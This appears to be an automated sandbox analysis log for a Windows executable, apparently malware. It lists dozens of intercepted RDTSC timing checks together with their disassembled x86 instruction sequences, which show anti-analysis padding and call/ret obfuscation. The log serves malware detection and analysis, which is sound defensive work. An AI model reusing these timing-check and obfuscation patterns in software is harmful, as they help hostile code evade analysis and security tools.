Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 404E31 second address: 404EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FEE8CE578F8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 jmp 00007FEE8CE578FBh 0x00000028 sub bh, FFFFFFC7h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 jl 00007FEE8CE578FCh 0x00000038 sub dword ptr [ebp+122D2DB7h], eax 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007FEE8CE578F8h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 00000014h 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f movsx edi, cx 0x00000062 mov edi, ecx 0x00000064 mov eax, dword ptr [ebp+122D057Dh] 0x0000006a ja 00007FEE8CE578FCh 0x00000070 mov dword ptr [ebp+122D34FAh], ecx 0x00000076 push FFFFFFFFh 0x00000078 xor bh, 00000077h 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e push esi 0x0000007f jmp 00007FEE8CE57903h 0x00000084 pop esi 0x00000085 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407C76 second address: 407C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407C7B second address: 407C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE578FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407EF8 second address: 407EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407EFC second address: 407F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407F00 second address: 407F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEE8C708CDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407F16 second address: 407F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 407F1A second address: 407F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jo 00007FEE8C708CD6h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 409D94 second address: 409D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 409D9A second address: 409D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 408F9E second address: 409035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FEE8CE578F8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FEE8CE578F8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov bx, di 0x0000004e mov eax, dword ptr [ebp+122D0479h] 0x00000054 clc 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push edi 0x0000005a call 00007FEE8CE578F8h 0x0000005f pop edi 0x00000060 mov dword ptr [esp+04h], edi 0x00000064 add dword ptr [esp+04h], 00000015h 0x0000006c inc edi 0x0000006d push edi 0x0000006e ret 0x0000006f pop edi 0x00000070 ret 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FEE8CE57904h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 409FAF second address: 409FBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FEE8C708CD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B2CC6 second address: 3B2CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 40AFA8 second address: 40AFAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B2CCA second address: 3B2CD5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 40AFAC second address: 40AFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FEE8C708CD8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 40F8E2 second address: 40F901 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEE8CE578F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FEE8CE578FDh 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 40F901 second address: 40F909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 40F909 second address: 40F90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B60E0 second address: 3B60EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B60EC second address: 3B60F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B60F0 second address: 3B60F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B60F4 second address: 3B60FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415C45 second address: 415C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415F10 second address: 415F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415F14 second address: 415F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415F1C second address: 415F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57905h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415F39 second address: 415F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 415F3D second address: 415F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 417C18 second address: 417C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0AC second address: 41D0B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0B2 second address: 41D0B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0B8 second address: 41D0CB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0CB second address: 41D0D5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE8C708CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0D5 second address: 41D0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FEE8CE578F8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41D0E9 second address: 41D0FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FEE8C708CD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41E3DA second address: 41E3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 41E3E0 second address: 41E3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEE8C708CD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4242FC second address: 424316 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEE8CE5790Ch 0x00000008 jmp 00007FEE8CE57900h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423008 second address: 42300D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42361E second address: 423633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FEE8CE578F6h 0x0000000f jng 00007FEE8CE578F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423633 second address: 423642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FEE8C708CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423642 second address: 42364A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423BCD second address: 423BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423BD1 second address: 423BD7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423BD7 second address: 423BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423BF6 second address: 423BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423EED second address: 423EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 423EF3 second address: 423F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEE8CE57902h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jmp 00007FEE8CE578FAh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42405D second address: 424061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42839D second address: 4283A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4283A1 second address: 4283A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4283A5 second address: 4283AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B10B5 second address: 3B10B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B10B9 second address: 3B10BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B10BD second address: 3B10CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FEE8C708CD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B10CB second address: 3B10D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F827F second address: 3F82D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FEE8C708CD8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D19F0h], edi 0x00000029 lea eax, dword ptr [ebp+12483F83h] 0x0000002f mov edi, 03E5EC6Bh 0x00000034 movzx edx, bx 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FEE8C708CE2h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8520 second address: 3F8524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8524 second address: 3F852A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F852A second address: 3F8530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8530 second address: 3F8554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FEE8C708CE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8554 second address: 3F8558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F87AF second address: 3F87B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F87B6 second address: 3F87BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F87BC second address: 3F87C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F88C2 second address: 3F88C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F88C6 second address: 3F88E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FEE8C708CD6h 0x0000000d jl 00007FEE8C708CD6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F89A3 second address: 3F89BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FEE8CE578F6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007FEE8CE57902h 0x00000013 jng 00007FEE8CE578FCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F89BE second address: 3F89D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 jmp 00007FEE8C708CDAh 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F89D8 second address: 3F89EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57900h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F89EC second address: 3F89FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8B53 second address: 3F8B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8E90 second address: 3F8E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8E95 second address: 3F8EDF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEE8CE578FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+12460F84h] 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FEE8CE578F8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f add edi, dword ptr [ebp+122D3BBAh] 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F8EDF second address: 3F8EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F92B9 second address: 3F9301 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b movzx edx, cx 0x0000000e jbe 00007FEE8CE578FAh 0x00000014 popad 0x00000015 mov edi, dword ptr [ebp+122D2A38h] 0x0000001b push 0000001Eh 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FEE8CE578F8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 cmc 0x00000038 nop 0x00000039 jnc 00007FEE8CE57900h 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F9301 second address: 3F9317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FEE8C708CDCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F962C second address: 3F9690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jng 00007FEE8CE5790Ch 0x0000000d push esi 0x0000000e jmp 00007FEE8CE57904h 0x00000013 pop esi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jc 00007FEE8CE57908h 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 js 00007FEE8CE578F6h 0x00000029 jmp 00007FEE8CE57909h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F9690 second address: 3F96AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FEE8C708CDAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F97B3 second address: 3F97BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEE8CE578F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F97BE second address: 3F97C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
